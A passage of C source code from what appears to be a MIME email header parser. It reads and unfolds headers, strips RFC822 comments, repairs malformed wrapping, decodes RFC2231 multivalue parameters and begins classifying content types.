condition_item; char *lc_headers = NULL; if (headers == NULL) { DMIMEH LOGGER_log("%s:%d:MIMEH_are_headers_RFC822:DEBUG: Headers are NULL"); return 0; } DMIMEH LOGGER_log("%s:%d:MIMEH_are_headers_RFC822:DEBUG:----\n%s\n----",FL,headers); lc_headers = strdup(headers); if (lc_headers == NULL) return 0; //PLD_strlower((unsigned char *)lc_headers); PLD_strlower(lc_headers); DMIMEH LOGGER_log("%s:%d:MIMEH_are_headers_RFC822:DEBUG:----(lowercase)----\n%s\n----",FL,lc_headers); for (condition_item=0; condition_item < 6; condition_item++) { char *p; DMIMEH LOGGER_log("%s:%d:MIMEH_are_headers_RFC822:DEBUG: Condition test item[%d] = '%s'",FL,condition_item,conditions[condition_item]); p = strstr(lc_headers, conditions[condition_item]); if (p != NULL) { if (p > lc_headers) { if ((*(p-1) == '\n')||(*(p-1) == '\r')) hitcount++; } else if (p == lc_headers) hitcount++; } } if (lc_headers != NULL) free(lc_headers); return hitcount; } /*-----------------------------------------------------------------\ Function Name : MIMEH_save_doubleCR Returns Type : int ----Parameter List 1. FFGET_FILE *f , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_save_doubleCR( struct MIMEH_object *ho, FFGET_FILE *f ) { //char c; int c; FILE *fo; struct stat st; // Determine a file name we can use. do { ho->doubleCR_count++; snprintf(ho->doubleCRname,_MIMEH_STRLEN_MAX,"%s/doubleCR.%d",ho->output_dir,ho->doubleCR_count); } while (stat(ho->doubleCRname, &st) == 0); fo = fopen(ho->doubleCRname,"w"); if (!fo) { LOGGER_log("%s:%d:MIMEH_save_doubleCR:ERROR: unable to open '%s' to write (%s)", FL,ho->doubleCRname,strerror(errno)); return -1; } if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_save_doubleCR:DEBUG: Saving DoubleCR header: %s\n", FL,ho->doubleCRname); while (1) { c = FFGET_fgetc(f); fprintf(fo,"%c",c); if ((c == EOF)||(c == '\n')) { break; } } fclose(fo); return 0; } /*-----------------------------------------------------------------\ Function Name : * Returns Type : char ----Parameter List 1. MIMEH_absorb_whitespace( char *p , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ char * MIMEH_absorb_whitespace( char *p ) { if (p) { while ((*p != '\0')&&((*p == ' ')||(*p == '\t'))) p++; } return p; } /*-----------------------------------------------------------------\ Function Name : MIMEH_strip_comments Returns Type : int ----Parameter List 1. char *input , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: Removes comments from RFC[2]822 headers -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_strip_comments( char *input ) { char *p,*p_org; int in_quote=0; if (input == NULL) return 0; p = p_org = input; do { char *q = NULL; // Locate (if any) the first occurance of the ( while ((p_org != NULL)&&((*p_org != '(')||(in_quote==1))) { switch (*p_org) { case '"': in_quote ^= 1; break; case '\n': case '\r': in_quote = 0; break; case '\0': p_org = NULL; break; } if (p_org) p_org++; } p = p_org; if ((p != NULL)&&(in_quote == 0)) { int stop_searching = 0; DMIMEH LOGGER_log("%s:%d:MIMEH_strip_comments:DEBUG: Located open ( at %s",FL,p); // If we did locate an opening parenthesis, look for the closing one // NOTE - we cannot have a breaking \n or \r inbetween // q = strpbrk(p, ")\n\r"); q = p; while ( (q != NULL) && (stop_searching == 0) ) { switch (*q) { case '\0': stop_searching = 1; q = NULL; break; case '\n': case '\r': stop_searching = 1; in_quote = 0; break; case '"': in_quote ^= 1; break; case ')': DMIMEH LOGGER_log("%s:%d:MIMEH_strip_comments:DEBUG: Located closing ) at %s",FL,q); if (in_quote == 0) stop_searching = 1; break; } if ((q != NULL)&&(stop_searching == 0)) q++; } // If we've got both opening and closing, then we need to remove // the contents of the comment, including the parenthesis if (q != NULL) { if (*q != ')') { // if we found a \n or \r between the two (), then jump out // and move p to the next position. p_org++; continue; } else { // Move q to the first char after the closing parenthesis q++; DMIMEH LOGGER_log("%s:%d:MIMEH_strip_comments:DEBUG: located closing ) at %s ",FL, q); // While there's more chars in string, copy them to where // the opening parenthesis is while (*q != '\0') { *p = *q; p++; q++; } // While q != '\0' DMIMEH LOGGER_log("%s:%d:MIMEH_strip_comments:DEBUG: char copy done",FL); // Terminate the string *p = '\0'; } // if q !=/= ')' } else break; // if q == NULL } // if p == NULL } while ((p != NULL)&&(p_org != NULL)); // do-while more comments to remove DMIMEH LOGGER_log("%s:%d:MIMEH_strip_comments:DEBUG: Final string = '%s'",FL,input); return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_fix_header_mistakes Returns Type : int ----Parameter List 1. char *data , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: Some headers are broken in their wrapping, ie, they fail to put a leading space at the start of the next wrapped data line; ie Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="yxnjjhyk.xml" Which causes normal header processing to not locate the filename. This function will see if there are any lines with a trailing ; that do not have a leading space on the next line and subsequently replace the \r\n chars after the ; with blanks, effectively pulling the line up -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_fix_header_mistakes( char *data ) { int result = 0; char *p; DMIMEH LOGGER_log("%s:%d:MIMEH_fix_header_mistakes:DEBUG: Checking and fixing headers in '%s'",FL,data); if (glb.header_fix == 0) return result; p = data; while (p) { int nonblank_detected = 0; char *q; p = strchr(p, ';'); if (p == NULL) break; q = p+1; DMIMEH LOGGER_log("%s:%d:MIMEH_fix_header_mistakes:DEBUG: Located ';' at offset %d '%20s",FL, p -data, p); if ((*q == '\n')||(*q == '\r')) { nonblank_detected = 0; } else { /** If the ; isn't immediately followed by a \n or \r, then search till ** the end of the line to see if all the chars are blank **/ while ((*q != '\0')||(*q != '\r')||(*q != '\n')) { switch (*q) { case '\t': case '\n': case '\r': case ' ': nonblank_detected = 0; break; default: nonblank_detected = 1; } /*switch*/ if (nonblank_detected == 1) break; q++; } /** while looking for the end of the line **/ } /** ELSE - if *q wasn't a line break char **/ if (nonblank_detected == 1) { DMIMEH LOGGER_log("%s:%d:MIMEH_fix_header_mistakes:DEBUG: Line was normal/safe, continue...",FL); p++; continue; } /** if nonblank_detected == 1 **/ /** if we had nothing but blanks till the end of the ** line, then we need to pull up the next line **/ if (*q != '\0') { DMIMEH LOGGER_log("%s:%d:MIMEH_fix_header_mistakes:DEBUG: Line needs fixing",FL); *q = ' '; q++; if ((*q == '\n')||(*q == '\r')) *q = ' '; DMIMEH LOGGER_log("%s:%d:MIMEH_fix_header_mistakes:DEBUG: Line fixed",FL); p = q; } /** If q wasn't the end of data **/ } /** while looking for more ';' chars **/ DMIMEH LOGGER_log("%s:%d:MIMEH_fix_header_mistakes:DEBUG: Done",FL); return result; } /*------------------------------------------------------------------------ Procedure: MIMEH_read_headers ID:1 Purpose: Reads from the stream F until it detects a From line, or a blank line (end of headers) Input: Output: Errors: ------------------------------------------------------------------------*/ int MIMEH_read_headers( struct MIMEH_object *ho, FFGET_FILE *f ) { char buffer[_MIMEH_STRLEN_MAX+1]; int totalsize=0; int linesize=0; int totalsize_original=0; int result = 0; // int firstline = 1; int search_count=0; char *tmp; char *tmp_original; char *fget_result = NULL; char *headerline_end; char *p; char *linestart; char *lineend; int is_RFC822_headers=0; // 20040208-1335:PLD: Added to give an indication if the headers are RFC822 like; used in conjunction with the header_longsearch for pulling apart qmail bouncebacks. /** Lets start the ugly big fat DO loop here so that we can, if needed search until we find headers which are actually valid. Personally I hate this - but people want it in order to detect malformed (deliberate or otherwise) emails. It'd be nice if for once in the software world someone actually enforced standards rather than trying to be overly intelligent about interpreting data. **/ if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: File position = %ld [0x%0X]" ,FL ,FFGET_ftell(f) ,FFGET_ftell(f) ); do { search_count++; ho->headerline = NULL; ho->headerline_original = NULL; tmp_original = NULL; while ((fget_result=FFGET_fgets(buffer,_MIMEH_STRLEN_MAX, f))) { linestart = buffer; linesize = strlen(linestart); lineend = linestart +linesize; if (MIMEH_DNORMAL)LOGGER_log("%s:%d:MIMEH_read_headers: Data In=[sz=%d:tb=%d:mem=%p]'%s'",FL, linesize, f->trueblank, ho->headerline, buffer); // If we are being told to copy the input data to an output file // then do so here (this is for the originals) if ((glb.original_header_save_to_file > 0)&&(ho->original_header_file != NULL)) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: saving to file...",FL); fprintf(ho->original_header_file,"%s",linestart); } // if we are being told to keep a copy of the original data // as it comes in from ffget, then do the storage here if (glb.save_headers_original > 0) { if (MIMEH_DNORMAL) LOGGER_log("MIMEH_read_headers:DEBUG:Data-In:[%d:%d] '%s'", strlen(linestart), linesize, linestart); tmp_original = realloc(ho->headerline_original, totalsize_original+linesize+1); if (tmp_original == NULL) { LOGGER_log("%s:%d:MIMEH_read_headers:ERROR: Cannot allocate %d bytes to contain new headers_original ", FL,totalsize_original +linesize +1); if (ho->headerline_original != NULL) free(ho->headerline_original); ho->headerline_original = NULL; return -1; } if (ho->headerline_original == NULL) { ho->headerline_original = tmp_original; totalsize_original = linesize +1; PLD_strncpy( ho->headerline_original, linestart, (linesize+1)); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: '%s'", FL, ho->headerline_original); } else { ho->headerline_original = tmp_original; PLD_strncpy( (ho->headerline_original +totalsize_original -1), linestart, (linesize +1)); totalsize_original += linesize; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: HO = '%s'", FL, ho->headerline_original); } //LOGGER_log("DEBUG:linesize=%d data='%s'",linesize, linestart); } /** Normal processing of the headers now starts. **/ if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: realloc'ing dataspace",FL); tmp = realloc(ho->headerline, totalsize+linesize+1); if (tmp == NULL) { LOGGER_log("%s:%d:MIMEH_read_headers:ERROR: Cannot allocate %d bytes to contain new headers ", FL,totalsize +linesize +1); if (ho->headerline != NULL) free(ho->headerline); ho->headerline = NULL; return -1; } if (ho->headerline == NULL) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: Initial appending of head to dataspace headerline = NULL realloc block = %p linestart = %p linesize = %d",FL, tmp, linestart, linesize); ho->headerline = tmp; totalsize = linesize; PLD_strncpy(ho->headerline, linestart, (linesize +1)); headerline_end = ho->headerline +totalsize; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: Header line end = %p", FL, headerline_end); } // If the global headerline is currently NULL else { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: Appending of new data to existing header existing-headerline = %p new realloc block = %p linestart = %p linesize = %d",FL, ho->headerline, tmp, linestart, linesize); // Perform header unfolding by removing any CRLF's // of the last line if the first characters of the // newline are blank/space ho->headerline = tmp; if ((linestart < lineend)&&((*linestart == '\t')||(*linestart == ' '))) { // Here we start at the last character of the previous line // and check to see if it's a 'space' type charcter, if it is // we will then reduce the total size of the headers thus far and // move the pointer where we're going to append this new line back // one more character - Ultimately what we wish to achieve is that // the new line will tacked on [sans leading spaces] to the end of // the previous line. // // 'p' holds the location at the -end- of the current headers where // we are going to append the newly read line p = ho->headerline +totalsize -1; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: unwrapping headers headers=%p, p = %p",FL,ho->headerline, p); while ((p >= ho->headerline)&&(( *p == '\n' )||( *p == '\r' ))) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: Removing trailing space p=[%p]%c",FL, p, *p); *p = '\0'; p--; totalsize--; } p = ho->headerline +totalsize -1; } if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: Memcopying line, source = %p, dest = %p, size = %d", FL, linestart, ho->headerline +totalsize, linesize); memcpy((ho->headerline +totalsize), linestart, (linesize)); totalsize += linesize; *(ho->headerline +totalsize) = '\0'; } // If the ho->headerline already is allocated and we're appending to it. if (f->trueblank) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_read_headers:DEBUG: Trueblank line detected in header reading",FL); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_read_headers:DEBUG: Headers /before/ decoding\n-------\n%s\n-------------------",FL, ho->headerline); MIMEH_fix_header_mistakes( ho->headerline ); MDECODE_decode_ISO( ho->mdo, ho->headerline, totalsize ); if ((glb.save_headers)&&(ho->headerline)) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_read_headers:DEBUG: Saving header line.",FL); fprintf(ho->header_file,"%s",ho->headerline); } if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_read_headers:DEBUG: Final Headers\n------------------\n%s---------------", FL,ho->headerline); //result = 1; //result = 0; break; } // If the last line was in fact a true blank line // If there was a doubleCR at the end of the line, // then we need to save the next set of data until there // is a \n if (FFGET_doubleCR) { if (ho->doubleCR_save != 0) { MIMEH_save_doubleCR(ho, f); ho->doubleCR = 1; } FFGET_doubleCR = 0; FFGET_SDL_MODE = 0; } // FFGET_doubleCR test //firstline = 0; } // While reading more headers from the source file. // If FFGET ran out of data whilst processing the headers, then acknowledge this // by returning a -1. // // NOTE - This does not mean we do not have any data! // it just means that our input ran out. if (!fget_result) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_read_headers:ERROR: FFGET module ran out of input while reading headers",FL); /** If we're meant to be saving the headers, we better do that now, even though we couldn't ** read everything we wanted to **/ if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_read_headers:DEBUG: save_headers=%d totalsize=%d headerline=%s", FL, glb.save_headers, totalsize, ho->headerline); if ((glb.save_headers)&&(ho->headerline)) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_read_headers:DEBUG: Saving header line.",FL); MIMEH_fix_header_mistakes( ho->headerline ); MDECODE_decode_ISO( ho->mdo, ho->headerline, totalsize ); fprintf(ho->header_file,"%s",ho->headerline); } result = -1; } else { if (ho->header_longsearch > 0) { /** Test the headers for RFC compliance... **/ is_RFC822_headers = MIMEH_are_headers_RFC822(ho->headerline); if (is_RFC822_headers == 0) { /** If not RFC822 headers, then clean up everything we allocated in here **/ DMIMEH LOGGER_log("%s:%d:MIME_read_headers:DEBUG: No RFC822 headers detected, cleanup."); MIMEH_headers_cleanup(); } } } } while ((is_RFC822_headers==0)&&(ho->header_longsearch>0)&&(result==0)&&(search_count<glb.longsearch_limit)); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_read_headers:DEBUG: Finished.",FL); return result; } /*------------------------------------------------------------------------ Procedure: MIMEH_display_info ID:1 Purpose: DEBUGGING - Displays the values of the hinfo structure to stderr Input: Output: Errors: ------------------------------------------------------------------------*/ int MIMEH_display_info( struct MIMEH_header_info *hinfo ) { if (hinfo) { LOGGER_log("%s:%d:MIMEH_display_info:\ Content Type = %d\n\ Boundary = %s\n\ Filename = %s\n\ name = %s\n\ Encoding = %d\n\ Disposit = %d\n\ "\ ,FL\ ,hinfo->content_type\ ,hinfo->boundary\ ,hinfo->filename\ ,hinfo->name\ ,hinfo->content_transfer_encoding\ ,hinfo->content_disposition); fflush(stdout); } return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_decode_multivalue_language_string Returns Type : int ----Parameter List 1. char *input , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_decode_multivalue_language_string( char *input ) { int sq_count = 0; int language_set = 0; char *q = input; DMIMEH LOGGER_log("%s:%d:MIMEH_decode_multivalue_language_string:DEBUG: Decoding '%s'",FL,input); // Count the single-quotes while ((*q != '\0')&&(sq_count != 2)) if (*q++ == '\'') sq_count++; if (sq_count < 2) { // LOGGER_log("%s:%d:MIMEH_decode_multivalue_language_string:WARNING: Insufficient single quotes for valid language-charset string",FL); q = input; } else { language_set = 1; } // q will be pointing at the 2nd single-quote, which is the end of // the language encoding set, so we just jump over that and start // reading off the data and decoding it. MDECODE_decode_multipart( q ); // If the language was set, we need to move down our decoded data to the // start of the input buffer if (language_set == 1) { while (*q != '\0') { *input = *q; input++; q++; } *input = '\0'; } DMIMEH LOGGER_log("%s:%d:MIMEH_decode_multivalue_language_string:DEBUG: Output = '%s'",FL,q); return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_recompose_multivalue Returns Type : int ----Parameter List 1. struct MIMEH_header_info *hinfo, Global header information, can be NULL 2. char *header_name_prefix, Prefix we're looking for (ie, filename) 3. char *header_value, String which the prefix should exist in 4. char *buffer, Output buffer 5. size_t buffer_size , Output buffer size ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: Multivalue strings are ones which appear like: filename*0*=us-ascii'en-us'attachment%2E%65 filename*1*="xe" which should duly be recoded as: filename=attachment.exe Another example: (extracted from the RFC2231 document) Content-Type: application/x-stuff title*0*=us-ascii'en'This%20is%20even%20more%20 title*1*=%2A%2A%2Afun%2A%2A%2A%20 title*2="isn't it!" -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_recompose_multivalue( struct MIMEH_header_info *hinfo, char *header_name_prefix, char *header_value, char *buffer, size_t buffer_size, char **data_end_point ) { int result = 0; char *start_position = header_value; DMIMEH LOGGER_log("%s:%d:MIMEH_recompose_multivalue:DEBUG: seeking for %s in %s and appending to '%s'. Buffer size=%d", FL, header_name_prefix, header_value,buffer, buffer_size ); // Locate the first part of the multipart string start_position = strstr(header_value, header_name_prefix); if (start_position != NULL) { char *q; char *buffer_start; // Setup our buffer insertion point for what ever new data we extract buffer_start = buffer +strlen(buffer); buffer_size -= strlen(buffer); q = start_position; // If the string we're looking for exists, then continue... do { char *p; char *end_point; char end_point_char='\0'; int decode_data=0; int q_len; p = strstr(q, header_name_prefix); if (p == NULL) break; DMIMEH LOGGER_log("%s:%d:MIMEH_recompose_multivalue:DEBUG: prefix = %s", FL, p); q = strchr(p,'='); if (q == NULL) break; // Test to see if we have to look for a language encoding specification *sigh* if (*(q-1) == '*') { decode_data=1; } // Move the pointer past the '=' separator q++; DMIMEH LOGGER_log("%s:%d:MIMEH_recompose_multivalue:DEBUG: data = %s", FL, q); // Find where this multipart string ends end_point = strpbrk(q, ";\t\n\r "); if (end_point != NULL) { *end_point = '\0'; end_point_char = *end_point; *data_end_point = end_point; // Set this so we know where to start decoding the next time we call this fn } else { char *ep; // If strpbrk comes up with nothing, then we set the data_end_point to the end of the string ep = q; while (*ep != '\0') ep++; *data_end_point = ep; } // Trim off quotes. if (*q == '"') { int bl; // LOGGER_log("%s:%d:DEBUG: Trimming '%s'", FL, q); q++; bl = strlen(q); if (*(q +bl -1) == '"') *(q +bl -1) = '\0'; //LOGGER_log("%s:%d:DEBUG: Trim done, '%s'", FL, q); } if (decode_data == 1) { MIMEH_decode_multivalue_language_string(q); } DMIMEH LOGGER_log("%s:%d:MIMEH_recompose_multivalue:DEBUG: segment value = '%s', appending to '%s'", FL, q, buffer); snprintf(buffer_start,buffer_size,"%s",q); q_len = strlen(q); buffer_size -= q_len; buffer_start += q_len; DMIMEH LOGGER_log("%s:%d:MIMEH_recompose_multivalue:DEBUG: Buffer[remaining=%d]= '%s'", FL, buffer_size,buffer); if (end_point != NULL) { *end_point = end_point_char; q = end_point +1; } else q = NULL; } while ((q != NULL)&&(buffer_size > 0)); } DMIMEH LOGGER_log("%s:%d:MIMEH_recompose_multivalue:DEBUG: End point set to: [%d] '%s'",FL, (*data_end_point -header_value), *data_end_point); return result; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_header_parameter Returns Type : int ----Parameter List 1. char *data, 2. char *searchstr, 3. char *output_value, 4. int output_value_size , 5. char *data_end_point, used to keep track of the last point of successful data decoding is. ------------------ Exit Codes : 0 = Success, found the required parameter 1 = No luck, didn't find the required parameter Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: 11-Aug-2004: Added new variable, data_end_point. This variable was required because without it, there was no way of telling where to continue on the search for more valid data, this is due to having to no longer rely on fixed atom separators like : and ; in the MIME text (thankyou MUA's which incorrectly interpreted the RFC's *sigh*) \------------------------------------------------------------------*/ int MIMEH_parse_header_parameter( struct MIMEH_header_info *hinfo, char *data, char *searchstr, char *output_value, int output_value_size, char **data_end_point ) { int return_value = 0; char *p; char *hl; // Set the data end point to be the beginning of the data, as we // have not yet searched through any of the header data *data_end_point = data; // Duplicate and convert to lowercase the header data // that we have been provided with. hl = strdup(data); //PLD_strlower((unsigned char *)hl); PLD_strlower(hl); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: Seeking '%s' in '%s'", FL, searchstr, hl); // Look for the search string we're after (ie, filename, name, location etc) if (strncmp(hl,searchstr,strlen(searchstr))==0) p = hl; else p = NULL; // p = strstr (hl, searchstr); //TESTING if (p != NULL) { char *string = NULL; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: found %s in %s", FL, searchstr, p); // Work out where in the -original- string the located parameter is. // We need to work from the original string because we need to // preserve case and our searching string is in _lower-case_. // // After we've located it, we offset the pointer past the string we // searched for. At this position, we should see a separator of // some type in the set [*;:=\t ]. string = p -hl +data +strlen(searchstr); /** ** After searching for our parameter, if we've got a ** basic match via strstr, we should then proceed to ** check that the characters either side of it are ** relevant to a typical parameter specification ** ** the characters *, =, <space> and tab can succeed a ** parameter name. **/ switch (*string) { case '*': case '=': case ' ': case '\t': /** ** Permitted characters were found after the parameter name ** so continue on... **/ break; default: /** ** Something other than the permitted characters was found, ** this implies (assumed) that the string match was actually ** just a bit of good luck, return to caller **/ if (hl) free(hl); return 1; } /** Switch **/ /** ** Don't forget to also test the character _BEFORE_ the search string **/ if (1) { char *before_string; before_string = string -1 -strlen(searchstr); if (before_string >= data) { /** ** The characters, <space>, <tab>, ;, : may preceed a parameter name **/ switch (*(before_string)) { case ';': case ':': case ' ': case '\t': /** ** Permitted characters were found after the parameter name ** so continue on... **/ break; default: /** ** Something other than the permitted characters was found, ** this implies (assumed) that the string match was actually ** just a bit of good luck, return to caller **/ if (hl) free(hl); return 1; } /** Switch before_string **/ } /** if before_string > data **/ } /** 1 **/ // If the char is a '*', this means we've got a multivalue parameter // which needs to be decoded (ie, name*1*=foo name*2*=bar ) if (*string == '*') { DMIMEH LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: Found a '*' after the name, so attempting multipart value decode",FL); // PLD:DEV:11/08/2004-18H30 // Issue: RFC2231 handling return_value = MIMEH_recompose_multivalue( hinfo, searchstr, data, output_value, output_value_size, data_end_point); } else { // skip any spaces while (isspace((int) *string )) string++; //if ( *string != '=' ) if ( *string == '\0' ) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: In '%s' parsing, was expecting a '=' in the start of '%s'\n", FL, searchstr, string ); } else { char *endchar; // Eliminate multiple = separators. // Reference: c030804-006a // PLD:DEV: 11/08/2004-15H15 while ((*(string +1) == '=')&&(*(string+1) != '\0')) { string++; MIMEH_set_defect(hinfo,MIMEH_DEFECT_MULTIPLE_EQUALS_SEPARATORS); } // Get the end of our string endchar = string +strlen(string) -1; *data_end_point = endchar; // Strip off trailing whitespace while ((endchar > string)&&(isspace((int)*endchar))) { *endchar = '\0'; endchar--; } // we are at the '=' in the header, so skip it if (*string == '=') string++; else { MIMEH_set_defect(hinfo,MIMEH_DEFECT_MISSING_SEPARATORS); } // skip any spaces... again while ( isspace((int) *string ) ) string++; DMIMEH LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: Extracting value out of '%s'",FL,string); // Because of all the potential exploits and bad behaviour // we have to be really careful about how we determine // what the enclosed string is for our parameter. // // Previously we could _assume_ that we just get the last // quote (") on the line and copy out what was between, // unfortunately that doesn't work anymore. Instead now // we have to step along the data stream one char at a // time and make decisions along the way. switch (*string) { case '\"': { // If our first char is a quote, then we'll then try and find // the second quote which closes the string, alas, this is // not always present in the header data, either due to a // broken MUA or due to an exploit attempt. char *string_end; DMIMEH LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: Using quoted-string tests",FL); // Remove multiple-sequential quotes string++; while ((*string != '\0')&&(*string == '\"')){ string++; MIMEH_set_defect(hinfo,MIMEH_DEFECT_MULTIPLE_QUOTES); } if (*string == '\0') break; // 20071030-0958: Added by Claudio Jeker - prevents overflow. // Find the next quote which isn't sequential to the above // quotes that we just skipped over string_end = strchr(string+1, '\"'); if (string_end != NULL) { DMIMEH LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: End of value found",FL); *string_end = '\0'; *data_end_point = string_end +1; } else { // If string_end == NULL // // If we didn't find any more quotes, that // means we've probably got an unbalanced string (oh joy) // so then we convert to looking for other items such as // ;\n\r\t and space. // if (hinfo) MIMEH_set_defect(hinfo,MIMEH_DEFECT_UNBALANCED_QUOTES); string_end = strpbrk(string,"; \n\r\t"); if (string_end != NULL) { *string_end = '\0'; *data_end_point = string_end +1; } else { // There is no termination to the string, instead the // end of the string is \0. } } } break; default: { char *string_end; DMIMEH LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: Using NON-quoted-string tests",FL); string_end = strpbrk(string,"; \n\r\t"); if (string_end != NULL) { *string_end = '\0'; *data_end_point = string_end +1; } else { // There is no termination to the string, instead the // end of the string is \0. } } break; } /** end of switch **/ DMIMEH LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: Extracting value out of '%s'",FL,string); // Trim up and leading/trailing quotes if (((*string == '\"')&&(*(string +strlen(string)-1) == '\"')) || ((*string == '\'')&&(*(string +strlen(string)-1) == '\'')) ) { int slen = strlen(string) -2; char *s = string; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse-header_parameter:DEBUG: Stripping quotes from '%s'",FL,string); while (slen > 0) { *s = *(s+1); s++; slen--; } *s = '\0'; } // Now that our string is all cleaned up, save it to our output value snprintf( output_value, output_value_size, "%s", string ); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: Final value = '%s'",FL, output_value); } // If the first non-whitespace char wasn't a '=' } // If the first char after the search-string wasn't a '*' } else { return_value = 1; } if (hl != NULL) free(hl); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_header_parameter:DEBUG: [return=%d] Done seeking for '%s' data_end_point=%p (from %p)",FL, return_value, searchstr, *data_end_point, data); return return_value; } /*-----------------------------------------------------------------\ Function Name : MIMEH_is_valid_header_prefix Returns Type : int ----Parameter List 1. char *data, 2. char *prefix_name , ------------------ Exit Codes : 0 = no, not valid 1 = yes, valid. Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_is_valid_header_prefix( char *data, char *prefix_name ) { int plen = strlen(prefix_name); /** If our string doesn't start with content-type, then exit **/ if (strncasecmp(data, prefix_name, plen)!=0) { return 0; } else { char end_char; /** Test to see that the terminating char after the content-type ** string is suitable to indicating that the content-type is ** infact a header name **/ end_char = *(data +plen); switch (end_char){ case ':': case ' ': case '\t': case '\0': /** Valid terminating characters found **/ break; default: /** Otherwise, return 0 **/ return 0; } /** switch end_char **/ } /** if-else **/ return 1; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_contenttype_linear Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_contenttype_linear_EXPERIMENT( char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { char *chv = header_value; char *chn = header_name; int boundary_found = 0; // int name_found = 0; // int filename_found = 0; /** Absorb whitespace **/ while (isspace(*chn)) chn++; /** Test if the content-type string is valid **/ if (MIMEH_is_valid_header_prefix(chn, "content-type")==0) return 0; /** Now, let's try parse our content-type parameter/value string **/ while (*chv) { while (isspace(*chv)) chv++; if ((boundary_found==0)&&(MIMEH_is_valid_header_prefix(chv,"boundary")==1)) { } // if (strncasecmp(chv, "boundary" } return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_contenttype Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_contenttype( struct MIMEH_object *ho, char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { int return_value; char *p, *q; char *hv = strdup( header_value ); // CONTENT TYPE ------------------------------- // CONTENT TYPE ------------------------------- // CONTENT TYPE ------------------------------- DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: Start",FL); p = strstr(header_name,"content-type"); if (p != NULL) { DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype: Content-type string found in header-name",FL); /** 20041216-1106:PLD: Increase our sanity **/ hinfo->sanity++; PLD_strlower( header_value ); PLD_strlower( header_value ); q = header_value; if (strstr(q,"multipart/appledouble")) hinfo->content_type = _CTYPE_MULTIPART_APPLEDOUBLE; else if (strstr(q,"multipart/signed")) hinfo->content_type = _CTYPE_MULTIPART_SIGNED; else if (strstr(q,"multipart/related")) hinfo->content_type = _CTYPE_MULTIPART_RELATED; else if (strstr(q,"multipart/mixed")) hinfo->content_type = _CTYPE_MULTIPART_MIXED; else if (strstr(q,"multipart/alternative")) hinfo->content_type = 